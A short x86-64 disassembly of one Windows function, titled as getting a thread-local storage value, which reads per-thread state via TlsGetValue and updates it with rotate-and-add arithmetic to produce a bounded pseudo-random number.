Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [0x1401bfb68], 0
mov rbx, rcx
jne 0x140004e37
call fcn.140004b40
mov ecx, dword [0x1401bfb6c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r9, rax
test rax, rax
jne 0x140004e5f
call fcn.140004b40
mov ecx, dword [0x1401bfb6c]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r9, rax
movsxd r8, dword [r9]
movsxd rdx, dword [r9 + 4]
mov eax, 0x10
mov r10d, dword [r9 + r8*4 + 0x4c]
mov r11d, dword [r9 + r8*4 + 8]
ror r10d, 0xd
add r10d, dword [r9 + rdx*4 + 0x4c]
ror r11d, 5
add r11d, dword [r9 + rdx*4 + 8]
mov dword [r9 + r8*4 + 8], r10d
mov dword [r9 + r8*4 + 0x4c], r11d
dec r8d
mov ecx, r11d
cmovs r8d, eax
dec edx
cmovs edx, eax
mov dword [r9], r8d
mov dword [r9 + 4], edx
inc rbx
je 0x140004ed8
mov edx, r10d
mov r8, rbx
mov eax, ebx
shr r8, 0x20
imul rax, rdx
shr rax, 0x20
imul rcx, r8
imul rdx, r8
shr rcx, 0x20
add rax, rcx
add rax, rdx
add rsp, 0x20
pop rbx
ret
mov eax, r10d
shl rax, 0x20
and rax, rcx
add rsp, 0x20
pop rbx
ret